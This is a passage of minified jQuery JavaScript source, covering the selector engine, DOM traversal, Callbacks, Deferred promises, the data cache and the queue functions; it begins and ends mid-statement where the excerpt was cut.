"]||d&&d.test(t))){if(c=t,f=e,1===p&&(x.test(t)||m.test(t))){(f=H.test(t)&&U(e.parentNode)||e)==e&&le.scope||((s=e.getAttribute("id"))?s=ce.escapeSelector(s):e.setAttribute("id",s=S)),o=(l=Y(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+Q(l[o]);c=l.join(",")}try{return k.apply(n,f.querySelectorAll(c)),n}catch(e){h(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return re(t.replace(ve,"$1"),e,n,r)}function W(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function F(e){return e[S]=!0,e}function $(e){var t=T.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")||fe(e,"button"))&&e.type===t}}function z(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&R(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function X(a){return F(function(o){return o=+o,F(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function U(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function V(e){var t,n=e?e.ownerDocument||e:ye;return n!=T&&9===n.nodeType&&n.documentElement&&(r=(T=n).documentElement,C=!ce.isXMLDoc(T),i=r.matches||r.webkitMatchesSelector||r.msMatchesSelector,r.msMatchesSelector&&ye!=T&&(t=T.defaultView)&&t.top!==t&&t.addEventListener("unload",M),le.getById=$(function(e){return r.appendChild(e).id=ce.expando,!T.getElementsByName||!T.getElementsByName(ce.expando).length}),le.disconnectedMatch=$(function(e){return i.call(e,"*")}),le.scope=$(function(){return T.querySelectorAll(":scope")}),le.cssHas=$(function(){try{return T.querySelector(":has(*,:jqfake)"),!1}catch(e){return!0}}),le.getById?(b.filter.ID=function(e){var t=e.replace(O,P);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(O,P);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):t.querySelectorAll(e)},b.find.CLASS=function(e,t){if("undefined"!=typeof t.getElementsByClassName&&C)return t.getElementsByClassName(e)},d=[],$(function(e){var t;r.appendChild(e).innerHTML="<a id='"+S+"' href='' disabled='disabled'></a><select id='"+S+"-\r\\' disabled='disabled'><option selected=''></option></select>",e.querySelectorAll("[selected]").length||d.push("\\["+ge+"*(?:value|"+f+")"),e.querySelectorAll("[id~="+S+"-]").length||d.push("~="),e.querySelectorAll("a#"+S+"+*").length||d.push(".#.+[+~]"),e.querySelectorAll(":checked").length||d.push(":checked"),(t=T.createElement("input")).setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),r.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&d.push(":enabled",":disabled"),(t=T.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||d.push("\\["+ge+"*name"+ge+"*="+ge+"*(?:''|\"\")")}),le.cssHas||d.push(":has"),d=d.length&&new RegExp(d.join("|")),l=function(e,t){if(e===t)return a=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!le.sortDetached&&t.compareDocumentPosition(e)===n?e===T||e.ownerDocument==ye&&I.contains(ye,e)?-1:t===T||t.ownerDocument==ye&&I.contains(ye,t)?1:o?se.call(o,e)-se.call(o,t):0:4&n?-1:1)}),T}for(e in I.matches=function(e,t){return I(e,null,null,t)},I.matchesSelector=function(e,t){if(V(e),C&&!h[t+" "]&&(!d||!d.test(t)))try{var n=i.call(e,t);if(n||le.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){h(t,!0)}return 0<I(t,T,null,[e]).length},I.contains=function(e,t){return(e.ownerDocument||e)!=T&&V(e),ce.contains(e,t)},I.attr=function(e,t){(e.ownerDocument||e)!=T&&V(e);var n=b.attrHandle[t.toLowerCase()],r=n&&ue.call(b.attrHandle,t.toLowerCase())?n(e,t,!C):void 0;return void 0!==r?r:e.getAttribute(t)},I.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ce.uniqueSort=function(e){var t,n=[],r=0,i=0;if(a=!le.sortStable,o=!le.sortStable&&ae.call(e,0),de.call(e,l),a){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)he.call(e,n[r],1)}return o=null,e},ce.fn.uniqueSort=function(){return this.pushStack(ce.uniqueSort(ae.apply(this)))},(b=ce.expr={cacheLength:50,createPseudo:F,match:D,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(O,P),e[3]=(e[3]||e[4]||e[5]||"").replace(O,P),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||I.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&I.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return D.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&j.test(n)&&(t=Y(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(O,P).toLowerCase();return"*"===e?function(){return!0}:function(e){return fe(e,t)}},CLASS:function(e){var t=s[e+" "];return t||(t=new RegExp("(^|"+ge+")"+e+"("+ge+"|$)"))&&s(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=I.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(v," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(d,e,t,h,g){var v="nth"!==d.slice(0,3),y="last"!==d.slice(-4),m="of-type"===e;return 1===h&&0===g?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u=v!==y?"nextSibling":"previousSibling",l=e.parentNode,c=m&&e.nodeName.toLowerCase(),f=!n&&!m,p=!1;if(l){if(v){while(u){o=e;while(o=o[u])if(m?fe(o,c):1===o.nodeType)return!1;s=u="only"===d&&!s&&"nextSibling"}return!0}if(s=[y?l.firstChild:l.lastChild],y&&f){p=(a=(r=(i=l[S]||(l[S]={}))[d]||[])[0]===E&&r[1])&&r[2],o=a&&l.childNodes[a];while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if(1===o.nodeType&&++p&&o===e){i[d]=[E,a,p];break}}else if(f&&(p=a=(r=(i=e[S]||(e[S]={}))[d]||[])[0]===E&&r[1]),!1===p)while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if((m?fe(o,c):1===o.nodeType)&&++p&&(f&&((i=o[S]||(o[S]={}))[d]=[E,p]),o===e))break;return(p-=g)===h||p%h==0&&0<=p/h}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||I.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?F(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=se.call(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:F(function(e){var r=[],i=[],s=ne(e.replace(ve,"$1"));return s[S]?F(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:F(function(t){return function(e){return 0<I(t,e).length}}),contains:F(function(t){return t=t.replace(O,P),function(e){return-1<(e.textContent||ce.text(e)).indexOf(t)}}),lang:F(function(n){return A.test(n||"")||I.error("unsupported lang: "+n),n=n.replace(O,P).toLowerCase(),function(e){var t;do{if(t=C?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=ie.location&&ie.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===r},focus:function(e){return e===function(){try{return T.activeElement}catch(e){}}()&&T.hasFocus()&&!!(e.type||e.href||~e.tabIndex)},enabled:z(!1),disabled:z(!0),checked:function(e){return fe(e,"input")&&!!e.checked||fe(e,"option")&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return N.test(e.nodeName)},button:function(e){return fe(e,"input")&&"button"===e.type||fe(e,"button")},text:function(e){var t;return fe(e,"input")&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:X(function(){return[0]}),last:X(function(e,t){return[t-1]}),eq:X(function(e,t,n){return[n<0?n+t:n]}),even:X(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:X(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:X(function(e,t,n){var r;for(r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:X(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=B(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=_(e);function G(){}function Y(e,t){var n,r,i,o,a,s,u,l=c[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=y.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=m.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(ve," ")}),a=a.slice(n.length)),b.filter)!(r=D[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?I.error(e):c(e,s).slice(0)}function Q(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function J(a,e,t){var s=e.dir,u=e.next,l=u||s,c=t&&"parentNode"===l,f=n++;return e.first?function(e,t,n){while(e=e[s])if(1===e.nodeType||c)return a(e,t,n);return!1}:function(e,t,n){var r,i,o=[E,f];if(n){while(e=e[s])if((1===e.nodeType||c)&&a(e,t,n))return!0}else while(e=e[s])if(1===e.nodeType||c)if(i=e[S]||(e[S]={}),u&&fe(e,u))e=e[s]||e;else{if((r=i[l])&&r[0]===E&&r[1]===f)return o[2]=r[2];if((i[l]=o)[2]=a(e,t,n))return!0}return!1}}function K(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Z(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function ee(d,h,g,v,y,e){return v&&!v[S]&&(v=ee(v)),y&&!y[S]&&(y=ee(y,e)),F(function(e,t,n,r){var i,o,a,s,u=[],l=[],c=t.length,f=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)I(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),p=!d||!e&&h?f:Z(f,u,d,n,r);if(g?g(p,s=y||(e?d:c||v)?[]:t,n,r):s=p,v){i=Z(s,l),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(s[l[o]]=!(p[l[o]]=a))}if(e){if(y||d){if(y){i=[],o=s.length;while(o--)(a=s[o])&&i.push(p[o]=a);y(null,s=[],i,r)}o=s.length;while(o--)(a=s[o])&&-1<(i=y?se.call(e,a):u[o])&&(e[i]=!(t[i]=a))}}else s=Z(s===t?s.splice(c,s.length):s),y?y(null,t,s,r):k.apply(t,s)})}function te(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=J(function(e){return e===i},a,!0),l=J(function(e){return-1<se.call(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!=w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[J(K(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return ee(1<s&&K(c),1<s&&Q(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(ve,"$1"),t,s<n&&te(e.slice(s,n)),n<r&&te(e=e.slice(n)),n<r&&Q(e))}c.push(t)}return K(c)}function ne(e,t){var n,v,y,m,x,r,i=[],o=[],a=u[e+" "];if(!a){t||(t=Y(e)),n=t.length;while(n--)(a=te(t[n]))[S]?i.push(a):o.push(a);(a=u(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=E+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==T||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==T||(V(o),n=!C);while(s=v[a++])if(s(o,t||T,n)){k.call(r,o);break}i&&(E=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=pe.call(r));f=Z(f)}k.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&ce.uniqueSort(r)}return i&&(E=h,w=p),c},m?F(r):r))).selector=e}return a}function re(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&Y(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&C&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(O,P),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=D.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(O,P),H.test(o[0].type)&&U(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&Q(o)))return k.apply(n,r),n;break}}}return(l||ne(e,c))(r,t,!C,n,!t||H.test(e)&&U(t.parentNode)||t),n}G.prototype=b.filters=b.pseudos,b.setFilters=new G,le.sortStable=S.split("").sort(l).join("")===S,V(),le.sortDetached=$(function(e){return 1&e.compareDocumentPosition(T.createElement("fieldset"))}),ce.find=I,ce.expr[":"]=ce.expr.pseudos,ce.unique=ce.uniqueSort,I.compile=ne,I.select=re,I.setDocument=V,I.tokenize=Y,I.escape=ce.escapeSelector,I.getText=ce.text,I.isXML=ce.isXMLDoc,I.selectors=ce.expr,I.support=ce.support,I.uniqueSort=ce.uniqueSort}();var d=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&ce(e).is(n))break;r.push(e)}return r},h=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},b=ce.expr.match.needsContext,w=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function T(e,n,r){return v(n)?ce.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?ce.grep(e,function(e){return e===n!==r}):"string"!=typeof n?ce.grep(e,function(e){return-1<se.call(n,e)!==r}):ce.filter(n,e,r)}ce.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?ce.find.matchesSelector(r,e)?[r]:[]:ce.find.matches(e,ce.grep(t,function(e){return 1===e.nodeType}))},ce.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(ce(e).filter(function(){for(t=0;t<r;t++)if(ce.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)ce.find(e,i[t],n);return 1<r?ce.uniqueSort(n):n},filter:function(e){return this.pushStack(T(this,e||[],!1))},not:function(e){return this.pushStack(T(this,e||[],!0))},is:function(e){return!!T(this,"string"==typeof e&&b.test(e)?ce(e):e||[],!1).length}});var k,S=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(ce.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||k,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:S.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof ce?t[0]:t,ce.merge(this,ce.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:C,!0)),w.test(r[1])&&ce.isPlainObject(t))for(r in t)v(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=C.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):v(e)?void 0!==n.ready?n.ready(e):e(ce):ce.makeArray(e,this)}).prototype=ce.fn,k=ce(C);var E=/^(?:parents|prev(?:Until|All))/,j={children:!0,contents:!0,next:!0,prev:!0};function A(e,t){while((e=e[t])&&1!==e.nodeType);return e}ce.fn.extend({has:function(e){var t=ce(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(ce.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&ce(e);if(!b.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&ce.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?ce.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?se.call(ce(e),this[0]):se.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(ce.uniqueSort(ce.merge(this.get(),ce(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),ce.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return d(e,"parentNode")},parentsUntil:function(e,t,n){return d(e,"parentNode",n)},next:function(e){return A(e,"nextSibling")},prev:function(e){return A(e,"previousSibling")},nextAll:function(e){return d(e,"nextSibling")},prevAll:function(e){return d(e,"previousSibling")},nextUntil:function(e,t,n){return d(e,"nextSibling",n)},prevUntil:function(e,t,n){return d(e,"previousSibling",n)},siblings:function(e){return h((e.parentNode||{}).firstChild,e)},children:function(e){return h(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(fe(e,"template")&&(e=e.content||e),ce.merge([],e.childNodes))}},function(r,i){ce.fn[r]=function(e,t){var n=ce.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=ce.filter(t,n)),1<this.length&&(j[r]||ce.uniqueSort(n),E.test(r)&&n.reverse()),this.pushStack(n)}});var D=/[^\x20\t\r\n\f]+/g;function N(e){return e}function q(e){throw e}function L(e,t,n,r){var i;try{e&&v(i=e.promise)?i.call(e).done(t).fail(n):e&&v(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}ce.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},ce.each(e.match(D)||[],function(e,t){n[t]=!0}),n):ce.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){ce.each(e,function(e,t){v(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==x(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return ce.each(arguments,function(e,t){var n;while(-1<(n=ce.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<ce.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},ce.extend({Deferred:function(e){var o=[["notify","progress",ce.Callbacks("memory"),ce.Callbacks("memory"),2],["resolve","done",ce.Callbacks("once memory"),ce.Callbacks("once memory"),0,"resolved"],["reject","fail",ce.Callbacks("once memory"),ce.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return ce.Deferred(function(r){ce.each(o,function(e,t){var n=v(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&v(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,v(t)?s?t.call(e,l(u,o,N,s),l(u,o,q,s)):(u++,t.call(e,l(u,o,N,s),l(u,o,q,s),l(u,o,N,o.notifyWith))):(a!==N&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){ce.Deferred.exceptionHook&&ce.Deferred.exceptionHook(e,t.error),u<=i+1&&(a!==q&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(ce.Deferred.getErrorHook?t.error=ce.Deferred.getErrorHook():ce.Deferred.getStackHook&&(t.error=ce.Deferred.getStackHook()),ie.setTimeout(t))}}return ce.Deferred(function(e){o[0][3].add(l(0,e,v(r)?r:N,e.notifyWith)),o[1][3].add(l(0,e,v(t)?t:N)),o[2][3].add(l(0,e,v(n)?n:q))}).promise()},promise:function(e){return null!=e?ce.extend(e,a):a}},s={};return ce.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=ae.call(arguments),o=ce.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?ae.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(L(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||v(i[t]&&i[t].then)))return o.then();while(t--)L(i[t],a(t),o.reject);return o.promise()}});var H=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;ce.Deferred.exceptionHook=function(e,t){ie.console&&ie.console.warn&&e&&H.test(e.name)&&ie.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},ce.readyException=function(e){ie.setTimeout(function(){throw e})};var O=ce.Deferred();function P(){C.removeEventListener("DOMContentLoaded",P),ie.removeEventListener("load",P),ce.ready()}ce.fn.ready=function(e){return O.then(e)["catch"](function(e){ce.readyException(e)}),this},ce.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--ce.readyWait:ce.isReady)||(ce.isReady=!0)!==e&&0<--ce.readyWait||O.resolveWith(C,[ce])}}),ce.ready.then=O.then,"complete"===C.readyState||"loading"!==C.readyState&&!C.documentElement.doScroll?ie.setTimeout(ce.ready):(C.addEventListener("DOMContentLoaded",P),ie.addEventListener("load",P));var M=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n))for(s in i=!0,n)M(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,v(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(ce(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},R=/^-ms-/,I=/-([a-z])/g;function W(e,t){return t.toUpperCase()}function F(e){return e.replace(R,"ms-").replace(I,W)}var $=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function B(){this.expando=ce.expando+B.uid++}B.uid=1,B.prototype={cache:function(e){var t=e[this.expando];return t||(t={},$(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[F(t)]=n;else for(r in t)i[F(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][F(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(F):(t=F(t))in r?[t]:t.match(D)||[]).length;while(n--)delete r[t[n]]}(void 0===t||ce.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!ce.isEmptyObject(t)}};var _=new B,z=new B,X=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,U=/[A-Z]/g;function V(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(U,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:X.test(i)?JSON.parse(i):i)}catch(e){}z.set(e,t,n)}else n=void 0;return n}ce.extend({hasData:function(e){return z.hasData(e)||_.hasData(e)},data:function(e,t,n){return z.access(e,t,n)},removeData:function(e,t){z.remove(e,t)},_data:function(e,t,n){return _.access(e,t,n)},_removeData:function(e,t){_.remove(e,t)}}),ce.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=z.get(o),1===o.nodeType&&!_.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=F(r.slice(5)),V(o,r,i[r]));_.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){z.set(this,n)}):M(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=z.get(o,n))?t:void 0!==(t=V(o,n))?t:void 0;this.each(function(){z.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){z.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=_.get(e,t),n&&(!r||Array.isArray(n)?r=_.access(e,t,ce.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=ce.queue(e,t),r=n.length,i=n.shift(),o=ce._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){ce.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return _.get(e,n)||_.access(e,n,{empty:ce.Callbacks("once memory").add(function(){_.remove(e,[t+"queue",n])})})}}),ce.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?ce.queue(this[0],t):void 0===n?this:this.each(function(){var e=ce.queue(this,t,n);ce._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&ce.dequeue(this,t)})},dequeue:function(e){return this.each(function(){ce.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=ce.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=_.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var 